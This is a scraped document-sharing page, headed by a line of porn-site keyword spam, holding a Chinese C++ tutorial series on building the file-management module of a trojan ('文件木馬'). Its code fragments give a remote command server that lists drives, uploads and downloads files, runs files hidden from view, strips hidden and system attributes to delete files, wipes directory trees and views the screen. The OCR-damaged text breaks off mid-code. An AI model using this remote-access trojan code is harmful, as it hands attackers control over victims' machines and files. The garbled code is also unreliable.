影音先锋男人资源在线观看,精品国产日韩亚洲一区91,中文字幕日韩国产,2018av男人天堂,青青伊人精品,久久久久久久综合日本亚洲,国产日韩欧美一区二区三区在线

C++實(shí)現(xiàn)文件傳輸

上傳人:小** 文檔編號(hào):27338489 上傳時(shí)間:2021-08-17 格式:DOC 頁(yè)數(shù):26 大?。?30.50KB
收藏 版權(quán)申訴 舉報(bào) 下載
C++實(shí)現(xiàn)文件傳輸_第1頁(yè)
第1頁(yè) / 共26頁(yè)
C++實(shí)現(xiàn)文件傳輸_第2頁(yè)
第2頁(yè) / 共26頁(yè)
C++實(shí)現(xiàn)文件傳輸_第3頁(yè)
第3頁(yè) / 共26頁(yè)

下載文檔到電腦,查找使用更方便

24 積分

下載資源

還剩頁(yè)未讀,繼續(xù)閱讀

資源描述:

《C++實(shí)現(xiàn)文件傳輸》由會(huì)員分享,可在線閱讀,更多相關(guān)《C++實(shí)現(xiàn)文件傳輸(26頁(yè)珍藏版)》請(qǐng)?jiān)谘b配圖網(wǎng)上搜索。

1、C++實(shí)現(xiàn)文件傳輸之一:框架結(jié)構(gòu)和界面實(shí)現(xiàn) 在木馬中文件管理的重要性,是無(wú)需質(zhì)疑的,對(duì)于文件的管理,做到并不難,但做 好卻也不易在我們編寫(xiě)一個(gè)功能完整的“文件木馬” 其實(shí)現(xiàn)效果如圖所示。為了文章的完整性,我們將分為數(shù)篇來(lái)介紹,本文主要介 紹程序的整體框架和界面實(shí)現(xiàn),在以后的文章中將以此框架為基礎(chǔ)實(shí)現(xiàn)詳細(xì)的功 實(shí)現(xiàn):枚舉磁盤(pán),枚舉目錄,獲取文件信息 上傳文件,下載文件,執(zhí)行文件,創(chuàng)建目錄,刪除目錄等 傳輸控制結(jié)構(gòu) 要實(shí)現(xiàn)客戶端與服務(wù)端的通信,設(shè)計(jì)一個(gè)合理的傳輸控制結(jié)構(gòu),會(huì)使后面的工作 輕松很多,為了使代碼易讀 首先對(duì)要使用的命令進(jìn)行預(yù)定義其各個(gè)命令定義如下 #defi ne Ge

2、tDriver 0x01 // 磁盤(pán)信息 #defi ne GetDirl nfo 0x02 // 目錄信息 #defi ne ExecFile 0x03 // 執(zhí)行文件 #defi ne GetFile 0x04 // 下載文件 #defi ne PutFile 0x05 // 上傳文件 #defi ne DelFile 0x06 // 刪除文件 #defi ne DelDir 0x07 // 刪除目錄 #defi ne CreateDir 0x08 // 創(chuàng)建目錄 #defi ne FileI nfo 0x09 // 文件信息 #defi ne GetScreen 0x1

3、0 // 查看屏幕 在程序的網(wǎng)絡(luò)通信中主要有 操作命令,命令對(duì)像,和具體數(shù)據(jù)三部分,對(duì)于命令 的傳輸定義如下結(jié)構(gòu) typedef struct { int ID; // 操作命令 BYTE lparam[BUF_LEN*2]; // 命令對(duì)像 }COMMAND; 因?yàn)樵诔绦蛑写蚪坏雷疃嗟木褪俏募?, 對(duì)文件的詳細(xì)屬性定義如下結(jié)構(gòu) typedef struct { char FileName[MAX_PATH]; // 文件名稱 int FileLen; // 文件長(zhǎng)度 char Time[50]; // 時(shí)間信息 BOOL IsDir; // 為目錄否 BOOL

4、Error; // 錯(cuò)誤信息 HICON hIcon; // 圖標(biāo)句柄 }FILEINFO; 服務(wù)端結(jié)構(gòu) 服務(wù)端還是比較簡(jiǎn)單的其整體思路如下 1. 服務(wù)端循環(huán)接受連接 , 并把連接交給線程處理 2. 線程接受"命令數(shù)據(jù)",并跟據(jù)命令I(lǐng)D將命令對(duì)像和SOCKE句柄傳給處理函數(shù) 3. 函數(shù)執(zhí)行指定功能 , 并返回執(zhí)行結(jié)果 對(duì)整體結(jié)構(gòu)的描述 , 我們用偽代碼表述如下 main() { /* 初示化設(shè)置 */ while(true) { if(client=accept(server,(sockaddr *)&clientaddr,&len))// 循環(huán)接受連接 { Cr

5、eateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);// 傳遞線程 處 理 } } /* 清理釋放資源 */ WSACleanup(); } 服務(wù)端程序運(yùn)行后循環(huán)接受連接 , 如果有新的連接就傳遞給新的線程處理 , 線程 代碼如下 DWORD WINAPI SLisen(LPVOID lparam) { SOCKET client=(SOCKET)lparam; COMMAND command; while(1) { if(recv(client,(char*)&command,sizeof(command)

6、,0)==SOCKET_ERROR)// 接 受命令數(shù)據(jù) { cout<<"The Clinet Socket is Closed/n"; break; }else { switch(command.ID)// 判斷命令 ID { case GetDriver:// 將命令對(duì)像和SOCKE句柄傳遞給處理函數(shù) GetDriverProc (command,client); break; case DelFile: DelFileProc (command,client); break; /* 其它命令 */ } } } } 線程式的功能是接受客戶端的 "命

7、令數(shù)據(jù)", 并跟跟據(jù)命令 ID 將命令對(duì)像傳遞給 處理函數(shù) , 由函數(shù)完成指定的功能 以刪除文件命令為例其函數(shù)格式如下 DWORD DelFileProc (COMMAND command,SOCKET client) { if(DeleteFile((char*)command.lparam)==0)//command.lparam 為命令對(duì)像 , 這里為要?jiǎng)h除的文件路徑 { send(client," 刪除失敗 ..."); } else { send(client," 刪除成功 ..."); } } 很容易看出,處理函數(shù)接受"命令對(duì)像"和客戶端SOCKE句柄,

8、執(zhí)行后會(huì)把結(jié)果傳 遞回去 客戶端結(jié)構(gòu) 客戶端結(jié)構(gòu)的實(shí)現(xiàn)思路如下 1. 跟服務(wù)端建立連接 2. 發(fā)送用戶命令 3. 啟動(dòng)一個(gè)線程 ,用于接受服務(wù)端的返回信息 對(duì)整體結(jié)構(gòu)的描述 , 我們用偽代碼表述如下 void CMyDlg::OnConnect() { if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)// 連 接 { return ; } CreateThread(NULL,NULL,CLisen,this,NULL,NULL);// 創(chuàng) 建 線 程 用 于 接 受 SERVE返回信

9、息 } 對(duì)于用戶發(fā)送的命令我們?nèi)砸詣h除文件為例說(shuō)明其代碼如下 void CMyDlg::OnMenuDelFile() { HTREEITEM CurrentNode = m_tree.GetSelectedItem(); // 取得選擇的節(jié)點(diǎn) CString FullPath =GetFullPath(CurrentNode); // 取得節(jié)點(diǎn)全目錄 COMMAND command; command.ID=DelFile; // 設(shè)置命令為刪除文件 // 刪除文件 command.lparam=FullPath.LockBuffer()); // 將路徑加入命令對(duì)像 send(

10、server,command); } 用于接受SERVE返回信息的線程,和服務(wù)端接受命令線程相似,這里就不再說(shuō) 明了,有興趣可以看下源代碼 到這里程序的流程框架就介紹完了,下面我們?cè)倏匆幌鲁绦虻慕缑嬖O(shè)置 . 界面實(shí)現(xiàn) 程序的主界面如上圖所示,主程序是一個(gè)對(duì)話框,主要包括一個(gè)樹(shù)控件 m_tree 和列表控件 m_list 分別 用于顯示磁盤(pán)目錄和文件,在對(duì)話框初示化時(shí)用以下代碼設(shè)置樹(shù)控件的屬性 DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE); dwStyle |=TVS_HASBUTTONS | TVS_HASLINES

11、| TVS_LINESATROOT; SetWi ndowLo ng(m_tree.m_hWnd,GWL_STYLE,dwStyle); 對(duì)于列表框控件則沒(méi)有太多要求,要留意的是,如果顯示圖標(biāo)應(yīng)該把 Styles顯 示屬性設(shè)置為ICON VC的做出的界面,常常讓人有種摔鍵盤(pán)的沖動(dòng)。其實(shí)稍微留意一下其設(shè)置,也 可以讓它漂亮一些 比如上圖所示的界面就是經(jīng)過(guò)簡(jiǎn)單設(shè)置得到的, 而沒(méi)有用其它類庫(kù),有點(diǎn)興趣? 其設(shè)置方法為: 1. 在對(duì)話框?qū)傩灾性O(shè)置 Styles的Border屬性為T(mén)h in 2. 選重More Styles " 可見(jiàn)"屬性 3. 選重Extended Styles 的"

12、靜態(tài)邊"屬性 這樣再運(yùn)行一下程序是不是感覺(jué)清新不少 ? 到這里程序的主要結(jié)構(gòu)框架和界面實(shí)現(xiàn)就介紹完了, 下一篇將詳細(xì)介紹其各種功 能的實(shí)現(xiàn) C++實(shí)現(xiàn)文件傳輸之二 在上一篇中,我們以經(jīng)介紹了程序的流程和框架,在本篇將詳細(xì)討論各個(gè)功能的 實(shí)現(xiàn)主要包括 1. 獲取磁盤(pán)信息 2. 獲取目錄信息 3. 獲取文件信息 4. 運(yùn)行指定文件 5. 刪除指定文件 6. 刪除指定目錄 7. 創(chuàng)建指定目錄 8. 上傳下載文件 9. 獲取遠(yuǎn)程文件圖標(biāo) 獲取磁盤(pán)信息 磁盤(pán)信息可以用API GetDriveType來(lái)實(shí)現(xiàn),它以路徑名作為參數(shù)(如C:/)返回磁 盤(pán)類型,其實(shí)例代碼如下 DWOR

13、D GetDriverProc(COMMAND comma nd,SOCKET clie nt) { for(char i=A;i<=Z;i++) { char x[20]={i,:}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { /* 返回處理結(jié)果 ...*/ } } return 0; } GetDriveType 可能返回的結(jié)果如下 #define DRIVE_UNKNOWN 0 // 無(wú)效路徑名 #define DRIV

14、E_NO_ROOT_DIR 1 // 無(wú)效路經(jīng),如無(wú)法找到的卷標(biāo) #define DRIVE_REMOVABLE 2 // 可移動(dòng)驅(qū)動(dòng)器 #define DRIVE_FIXED 3 // 固定的驅(qū)動(dòng)器 #define DRIVE_REMOTE 4 // 網(wǎng)絡(luò)驅(qū)動(dòng)器 #define DRIVE_CDROM 5 // CD-ROM #define DRIVE_RAMDISK 6 // 隨機(jī)存取(RAM磁盤(pán) 在上面的實(shí)例代碼中我們只取 , 硬盤(pán),光驅(qū)和移動(dòng)磁盤(pán) 獲取目錄信息 這里只要枚舉用戶指定的目錄就可以了 , 其實(shí)例代碼如下 : DWORD GetDirInfoProc(COM

15、MAND command,SOCKET client) { /*command為要枚舉的路徑如(C:/)client 為返回結(jié)果的SOCKE句柄*/ FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); strcat((char*)command.lparam,"*.*");// 枚舉所有文件 CFileFind file; BOOL bContinue = file.FindFile((char*)command.lparam); while(bContinue) { memset((char*)&fi,0,sizeof(fi));

16、bContinue = file.FindNextFile(); if(file.IsDirectory()) // 為目錄 { fi.IsDir=true; } strcpy(fi.FileName,file.GetFileName().LockBuffer()); // 保存文件名稱 if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR) { cout << "Send Dir is Error/n"; } } return 0; } 獲取文件信息 以下實(shí)例代碼用來(lái)獲取 文件的名稱 ,路徑, 時(shí)間, 屬性等

17、信息 DWORD FileInfoProc (COMMAND command,SOCKET client) { /*command為要查看的文件如(C:/TEST.EXE)client 為返回結(jié)果的SOCKE句柄*/ FILEINFO fi; HANDLE hFile; WIN32_FIND_DATA WFD; memset((char*)&WFD,0,sizeof(WFD)); if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_ VALUE) // 查看文件屬性 { fi.Error=

18、true; return 0; } // 得到文件的相關(guān)信息 SHGetFileInfo(WFD.cFileName, FILE_ATTRIBUTE_NORMAL, &shfi, sizeof(shfi), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME ); strcpy(fi.FileName,(char*)command.lparam); // 文件路徑 FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; // 文 件長(zhǎng) 度 fi.FileLen=Fi

19、leLen; // 轉(zhuǎn)化格林時(shí)間到本地時(shí)間 FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime); // 文件修改時(shí)間 sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d", systime.wYear,systime.wMonth,systime.wDay,systime.wHour, systime.wMinute,systime.wSecond); if(GetFileAttributes((char

20、*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) { /* 隱藏文件 ...*/ }else if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) { /* 只讀文件 ...*/ } send(client,(char*)&fi,sizeof(fi),0); FindClose(hFile); return 0; } 運(yùn)行指定文件 運(yùn)行文件 有以下幾種方法 1.WinExec 2.ShellExecute 3.CreateProcess 這里使用的是 Shel

21、lExecute 其實(shí)例代碼如下 DWORD ExecFileProc (COMMAND command,SOCKET client) { /*command 為要運(yùn)行的文件路徑如 (C:/TEST.EXE)client 為返回結(jié)果的 SOCKET 句柄 */ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=ExecFile; if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)< (HINSTANCE)32) { strcpy((cha

22、r*)cmd.lparam," 文件執(zhí)行失敗 !"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam," 文件執(zhí)行成功 !"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; } API 函數(shù) ShellExecute 原形為: HINSTANCE ShellExecute( 窗口句柄 操作類型 文件指針 // 文件參數(shù) 缺省目錄 顯示方式 HWND hwnd, // LPCTSTR lpOperation, /

23、/ LPCTSTR lpFile, // LPCTSTR lpParameters, LPCTSTR lpDirectory, // INT nShowCmd // ); 這是一個(gè)相當(dāng)有意思的函數(shù) , 在調(diào)用此函數(shù)時(shí)只須指定要執(zhí)行的文件名 , 而不必 管用什么程序去打開(kāi) 或執(zhí)行文件,WINDOWS自動(dòng)根據(jù)要打開(kāi)或執(zhí)行的文件去判斷該如何執(zhí)行文件或 用什么程序去打開(kāi)文件 , 如果 要求不高的話比CreateProcess要好用的多,如果想做出像NCP和灰鴿子那樣帶 參數(shù)執(zhí)行的話 , 其實(shí)也不難 只要指定 lpParameters 為執(zhí)行參數(shù)就可了 刪除指定文件 DWORD DelFil

24、eProc (COMMAND comma nd,SOCKET clie nt) { /*command 為要?jiǎng)h除的文件路徑如 (C:/TEST.EXE)client 為返回結(jié)果的 SOCKET 句柄 */ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=DelFile; SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); // 去 掉文件的系統(tǒng)和隱藏屬性 if(DeleteFile((char*)command.lparam)==0) { s

25、trcpy((char*)cmd.lparam," 文件刪除失敗 !"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam," 文件刪除成功 !"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; 需要注意的是在 DeleteFile 前應(yīng)該去文件的系統(tǒng)和隱藏屬性 , 否則會(huì)刪除失敗 刪除目錄 可以用 RemoveDirectory 函數(shù)刪除目錄 , 但是 RemoveDirectory 有個(gè)缺點(diǎn)就是只 能刪除為空的的目

26、錄 , 對(duì)于不為空 的目錄就無(wú)能為力了 , 想要?jiǎng)h除不無(wú)空的目錄可以使用下面的實(shí)例代碼 BOOL DeleteDirectory(char *DirName) { CFileFind tempFind; char tempFileFind[200]; sprintf(tempFileFind,"%s*.*",DirName); BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind); while(IsFinded) { IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDo

27、ts()) { char foundFileName[200]; strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200)); if(tempFind.IsDirectory()) { char tempDir[200]; sprintf(tempDir,"%s//%s",DirName,foundFileName); DeleteDirectory(tempDir); } else { char tempFileName[200]; sprintf(tempFileName,"%s//%s",DirName,foun

28、dFileName); SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); // 去掉文件的系 統(tǒng)和隱藏屬性 DeleteFile(tempFileName); cout <<"now delete "<

29、后刪除 指定目錄,成功返回TRUEfe敗則返回FALSE這段代碼可以直使用,但要小心使用, 因?yàn)槲以趥鲄?shù)時(shí)的失誤 結(jié)果把整個(gè) D 盤(pán)差點(diǎn)清空了 創(chuàng)建目錄 實(shí)例代碼如下: DWORD CreateDirProc (COMMAND command,SOCKET client) { /*command為要?jiǎng)?chuàng)建目錄的路徑如(C:/)client 為返回結(jié)果的SOCKE句柄*/ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=CreateDir; if(::CreateDirectory((char*)command

30、.lparam,NULL)) { strcpy((char*)cmd.lparam," 創(chuàng)建目錄成功 !"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam," 創(chuàng)建目錄失敗!可能有重名文件或文件夾"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; } 在創(chuàng)建目錄時(shí)應(yīng)該注意幾點(diǎn) ,首先創(chuàng)始目錄的上層目錄必須是存在的 ,比如想創(chuàng) 建C:/DIR1/DIR2目錄,要求 DIR1 是必須存在 , 用 CreateDir

31、ectory 并不能創(chuàng)建多級(jí)目錄 . 再者不可以存在和 要?jiǎng)?chuàng)建目錄同名的目錄和文件 因?yàn)樵诖疟P(pán)上目錄和文件的存放格式是相同的 , 惟一不同的是 目錄的屬性與文 件屬性不同 (FILE_ATTRIBUTE_DIRECTO屬生),所在即使有同名文件也會(huì)創(chuàng)始失敗. 上傳下載文件 上傳下載是是文件管理的重點(diǎn)所在 , 在這里按文件的大小 , 分兩種情況討論文件 的傳輸方法 小文件的傳輸相對(duì)比較簡(jiǎn)單可按以下方法進(jìn)行 1. 首先發(fā)送文件長(zhǎng)度和名稱 2. 跟據(jù)文件長(zhǎng)度建立緩沖區(qū) 3. 讀取整個(gè)文件到緩沖區(qū) 4. 發(fā)送緩沖區(qū)里的內(nèi)容 其實(shí)現(xiàn)代碼如下 : CFile file; FILEIN

32、FO fileinfo; if(file.Open(path,CFile::modeRead|CFile::typeBinary)) { fileinfo.FileLen=file.GetLength(); // 文件長(zhǎng)度 strcpy(fileinfo.FileName,file.GetFileName()); // 文件名稱 send(client,(char*)&fileinfo,sizeof(fileinfo),0); // 發(fā)送長(zhǎng)度和名稱 char *date=new char[fileinfo.FileLen]; // int nLeft=fileinfo.FileLen;

33、 int idx=0; file.Read(date,fileinfo.FileLen); // while(nLeft>0) { int ret=send(client,&date[idx],nLeft,0); // if(ret==SOCKET_ERROR) { break; } nLeft-=ret; idx+=ret; 分配和文件長(zhǎng)度相同的緩沖區(qū) 讀整個(gè)文件到緩沖區(qū) 發(fā)送文件 } file.Close(); delete[] date; } 跟據(jù)上面的實(shí)例相信大家可以領(lǐng)悟到文件傳輸?shù)幕驹砗头椒?, 雖然很簡(jiǎn)單但 用它傳輸小文件還是非常實(shí)用的

34、 大文件傳輸方法 用上面的方法傳輸小文件還可以,但是大文件呢?比如一個(gè)500M的電影.上面的 方法就會(huì)力不從心了因?yàn)? 按思路要?jiǎng)?chuàng)建一個(gè)跟文件大小相同的緩沖區(qū) , 顯然這是不太現(xiàn)實(shí)的 , 我們就得采 用另種方法了 , 在這里我們使用 分塊文件傳輸 , 所謂分塊是指把大文件分成若干小文件 , 然后傳輸 , 比如設(shè)定每塊 大小為64KB其思路如下 1. 取得文件長(zhǎng)度和名稱 2. 跟據(jù)長(zhǎng)度/64KB計(jì)算文件塊數(shù) 3. 分配64KB緩沖區(qū) 4. 讀文件到緩沖區(qū) 5. 發(fā)送緩沖的數(shù)據(jù) 6. 重復(fù) 4,5 兩步直到發(fā)完所有數(shù)據(jù) 其實(shí)現(xiàn)代碼如下 : #define CHUNK_SIZE (

35、64*1024) // 分為 64K塊傳輸 DWORD GetFileProc (COMMAND command,SOCKET client) { /*command 為要下載文件的路徑如 (C:/TEST.EXE)client 為發(fā)送文件的 SOCKET 句柄*/ COMMAND cmd; FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=GetFile; CFile file; int nChunkCount=0; // 文件塊數(shù) if(file.O

36、pen((char*)command.lparam,CFile::modeRead|CFile::typeBinary) )// 打開(kāi)文件 { int FileLen=file.GetLength(); // 取文件長(zhǎng)度 fi.FileLen=file.GetLength(); strcpy((char*)fi.FileName,file.GetFileName()); // 取文件名稱 memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi)); send(client,(char*)&cmd,sizeof(cmd),0); // 發(fā)送文件名

37、稱和長(zhǎng)度 nChunkCount=FileLen/CHUNK_SIZE; // 文件塊數(shù) if(FileLen%nChunkCount!=0) nChunkCount++; char *date=new char[CHUNK_SIZE]; // 創(chuàng)建數(shù)據(jù)緩沖區(qū) for(int i=O;i

38、 idx=O; file.Read(date,CHUNK_SIZE); // 讀取文件 while(nLeft>O) { int ret=send(client,&date[idx],nLeft,O);// 發(fā)送文件 if(ret==SOCKET_ERROR) { break; } nLeft-=ret; idx+=ret; } } file.Close(); delete[] date; } return O; } 這樣文件傳輸部分就完成了 , 止于客戶端的實(shí)現(xiàn)于上面代碼其本相同 ,只是由讀 文件變?yōu)閷?xiě)文件 , 詳細(xì)請(qǐng)參考源代碼 獲取遠(yuǎn)程 ICO 文件圖標(biāo)

39、 我們?cè)谖募斜砜蛑行枰@示文件的圖標(biāo), 但遠(yuǎn)程文件的 ICO 圖標(biāo)是無(wú)法直接得 到的 猛若RADMINI洞者也沒(méi)有到(對(duì)于EXE文件只顯示可執(zhí)行程序圖示),當(dāng)然了也 不見(jiàn)的決對(duì)沒(méi)有 我們可以通過(guò)如下變通方法得到: 就是跟據(jù)文件的擴(kuò)展名, 從本地注冊(cè)表中查找 對(duì)應(yīng)的程序圖標(biāo) 不過(guò)這也有它的缺點(diǎn)對(duì)于EXE文件它只能顯示一個(gè)可執(zhí)行文件的圖示,而且只能 顯示注冊(cè)過(guò)的圖示比如,如果 本機(jī)裝有WINRA那么就可以識(shí)別.RAR的文件圖示,否則就無(wú)法識(shí)別 … 實(shí)現(xiàn)方法 ClmageList m_lmageList; m」m ageList.Create(32,32,ILC_COLOR32,

40、10,30); // 創(chuàng)建圖示 m」ist.SetlmageList(&m」m ageList,LVSIL_NORMAL); // 與列表控件相關(guān)連 SHFILEINFO info; memset((char* )&in fo,0,sizeof(i nfo)); SHGetFileI nfo(fi->FileName,0,&in fo,sizeof(&in fo), SHGFI」CON|SHGFI_ USEFILEATTRIBUTES);/關(guān)鍵所在 int i = m_lmageList.Add(i nfo.hlc on); m_l ist.l nsertItem(i,fi->Fi

41、leName,i); 原來(lái)我試圖在Server端通過(guò)上面的代碼把info.hlcon 句柄保存下來(lái),然后放到 Client,在單臺(tái)電腦上很好使,但 Server在另一臺(tái)電腦上時(shí)就玩完了,因?yàn)閕nfo.hlcon 里保存的句柄是個(gè)索引而 每臺(tái)機(jī)器上的索引是不相同的所以 直接導(dǎo)致的結(jié)果就是:什么也顯示不出來(lái).... C++實(shí)現(xiàn)文件傳輸之三:斷點(diǎn)續(xù)傳與多線程傳輸轉(zhuǎn) 繼木馬編程DIY的上兩篇,現(xiàn)在我們開(kāi)始討論斷點(diǎn)續(xù)傳與多線程文件傳輸?shù)膶?shí)現(xiàn) 其實(shí)這兩項(xiàng)功能是下載軟件所 必不可少的功能了,現(xiàn)在我們把它加到自己的木馬中來(lái)感受感受 .提到多線程下 載,首先向網(wǎng)絡(luò)螞蟻的作者 洪以容前輩致敬,正

42、是由于網(wǎng)絡(luò)螞蟻而使得多線程下載被關(guān)注并流行起來(lái) ?在這 本篇文章中我們將簡(jiǎn)單的實(shí)現(xiàn) 支持?jǐn)帱c(diǎn)續(xù)傳和多線程傳輸?shù)某绦?為了更清晰的說(shuō)明問(wèn)題,我們將斷點(diǎn)續(xù)傳與 多線程傳輸分別用兩個(gè)程序來(lái)實(shí)現(xiàn) 多線程傳輸實(shí)現(xiàn) 實(shí)現(xiàn)原理 將源文件按長(zhǎng)度為分為N塊文件,然后開(kāi)辟N個(gè)線程,每個(gè)線程傳輸一塊,最后合 并所有線線程文件?比如 一個(gè)文件500M我們按長(zhǎng)度可以分5個(gè)線程傳輸.第一線程從0-100M,第二線程從 100M-200M…… 最后合并5個(gè)線程文件. 實(shí)現(xiàn)流程 1. 客戶端向服務(wù)端請(qǐng)求文件信息 (名稱, 長(zhǎng)度) 2. 客戶端跟據(jù)文件長(zhǎng)度開(kāi)辟N個(gè)線程連接服務(wù)端 3. 服務(wù)端開(kāi)辟新的線程與

43、客戶端通信并傳輸文件 4. 客戶端將每線程數(shù)據(jù)保存到一個(gè)文件 5. 合并所有線程文件 編碼實(shí)現(xiàn) 大體說(shuō)來(lái)就是按以上步驟進(jìn)行 ,詳細(xì)的實(shí)現(xiàn)和一些要點(diǎn) , 我們跟據(jù)以上流程在編 碼中實(shí)現(xiàn) 結(jié)構(gòu)定義 在通信過(guò)程中需要傳遞的信息包括文件名稱 ,文件長(zhǎng)度,文件偏移,操作指令等信 息, 為了方便操作我們定義如下結(jié)構(gòu) 代碼: typedef struct { char Name[100]; // 文件名稱 int FileLen; // 文件長(zhǎng)度 int CMD; // 操作指令 int seek; // 線程開(kāi)始位置 SOCKET sockid;

44、}FILEINFO; 1. 請(qǐng)求文件信息 客戶端代碼如下 代碼: FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); fi.CMD=1; // 得到文件信息 if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR) { cout<<"Send Get FileInfo Error/n"; } 服務(wù)端代碼如下 while(true) { SOCKET client; if(client=accept(server,(sockaddr *)&clientaddr,&len)) {

45、 FILEINFO RecvFileInfo; memset((char*)&RecvFileInfo,0,sizeof(RecvFile Info)); if(recv(client,(char*)&RecvFileInfo,sizeof(Re cvFileInfo),0)==SOCKET_ERROR) { cout<<"The Clinet Socket is Closed/n"; break; }else { EnterCriticalSection(&CS); // 進(jìn)入臨界區(qū) memcpy((char*)&TempFileInfo,(char*)&R ecvFil

46、eInfo,sizeof(RecvFileInfo)); switch(TempFileInfo.CMD) { case 1: GetInfoProc ( client); break; case 2: TempFileInfo.sockid= client; CreateThread(NULL,NU LL,GetFileProc,NULL,NULL,NULL); break; } LeaveCriticalSection(&CS); // 離開(kāi)臨界區(qū) } } } 在這里服務(wù)端循環(huán)接受連接 , 并跟據(jù) TempFileInfo.CMD 來(lái)判斷客戶端的請(qǐng)求類

47、型 ,1 為請(qǐng)求文件信息 ,2 為下載文件 因?yàn)樵谙螺d文件的請(qǐng)求中 , 需要開(kāi)辟新的線程 , 并傳遞文件偏移和文件大小等信 息,所以需要對(duì)線程同步 . 這里使用臨界區(qū) 其文件信息函數(shù) GetInfoProc 代碼如下 代碼: DWORD GetInfoProc(SOCKET client) { CFile file; if(file.Open(FileName,CFile::modeRead|CFile::typeBinary)) { int FileLen=file.GetLength(); if(send(client,(char*)&FileLen,sizeof(FileLe

48、n),0)==SO CKET_ERROR) { cout<< "Send FileLen Error/n"; }else { cout<< "The Filelen is "<

49、)// 接受文件長(zhǎng)度 { cout<<"Recv FileLen Error/n"; }else { cout<<"FileLen is "<

50、1==5) // 最后一線程長(zhǎng)度為總長(zhǎng)度減前 4 個(gè)線程長(zhǎng)度 { FI.FileLen=FileLen-COUNT_SIZE*i; }else { FI.FileLen=COUNT_SIZE; } Thread=CreateThread(NULL,NULL,GetFileThread,& i,NULL,NULL); Sleep(500); // LeaveCriticalSection(&CS); 離開(kāi)臨界區(qū) } } WaitForMultipleObjects(5,Thread,true,INFINITE); // 等所有線程結(jié)束 這里默認(rèn)開(kāi)辟 5 個(gè)線程傳輸

51、,當(dāng)然可以改為想要的線程數(shù)目 , 仍然用臨界區(qū)來(lái)實(shí) 現(xiàn)線程的同步問(wèn)題 3. 服務(wù)端開(kāi)辟線程傳輸數(shù)據(jù) 在 1. 請(qǐng)求文件信息中以說(shuō)明了服務(wù)端的結(jié)構(gòu) , 這里主要介紹線程函數(shù)的實(shí)現(xiàn) , 其 代碼如下 代碼: DWORD WINAPI GetFileProc(LPVOID lparam) { EnterCriticalSection(&CS); // 進(jìn)入臨界 區(qū) int FileLen=TempFileInfo.FileLen; int Seek=TempFileInfo.seek; SOCKET client=TempFileInfo.sockid; LeaveCritica

52、lSection(&CS); // 離開(kāi)臨界 區(qū) CFile file; if(file.Open(FileName,CFile::modeRead|CFile::typeBinary)) { file.Seek(Seek,CFile::begin); // 指針移 至偏移位置 char *date=new char[FileLen]; int nLeft=FileLen; int idx=0; file.Read(date,FileLen); while(nLeft>0) { int ret=send(client,&date[idx],nLeft,0); if(ret==S

53、OCKET_ERROR) { cout<<"Send Date Error /n"; break; } nLeft-=ret; idx+=ret; } file.Close(); delete[] date; }else { cout<<"open the file error/n"; } closesocket(client); return 0; } 還是比較簡(jiǎn)單的 ,主要是獲取線程的文件長(zhǎng)度和偏移 , 并移動(dòng)文件指針到偏移處 最后讀取發(fā)送數(shù)據(jù) , 而客戶端 接受數(shù)據(jù)并寫(xiě)入文件 . 4. 客戶端將線程數(shù)據(jù)保存到文件 GetFileThread 的實(shí)現(xiàn)代碼如下 代碼

54、: DWORD WINAPI GetFileThread(LPVOID lparam) { char TempName[MAX_PATH]; sprintf(TempName,"TempFile%d",*(DWORD*)lparam); // 每線 程的文件名為"TempName"線程數(shù) SOCKET client; SOCKADDR_IN serveraddr; int port=5555; client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); serveraddr.sin_family=AF_INET; serveraddr.sin_

55、port=htons(port); serveraddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); if(connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr))= =INVALID_SOCKET) { cout<<"Connect Server Error/n"; } EnterCriticalSection(&CS); // 進(jìn)入臨界區(qū) if(send(client,(char*)&FI,sizeof(FI),0)==SOCKET_ERROR) { cout<<"Send

56、GetFile Error/n"; return 0; } 文件長(zhǎng)度 文件偏移 離開(kāi)臨界區(qū) CFile file; int FileLen=FI.FileLen; // int Seek=FI.seek; // LeaveCriticalSection(&CS); // if(file.Open(TempName,CFile::modeWrite|CFile::typeBinary|CFil e::modeCreate)) { char *date = new char[FileLen]; int nLeft=FileLen; int idx=0; while(nLe

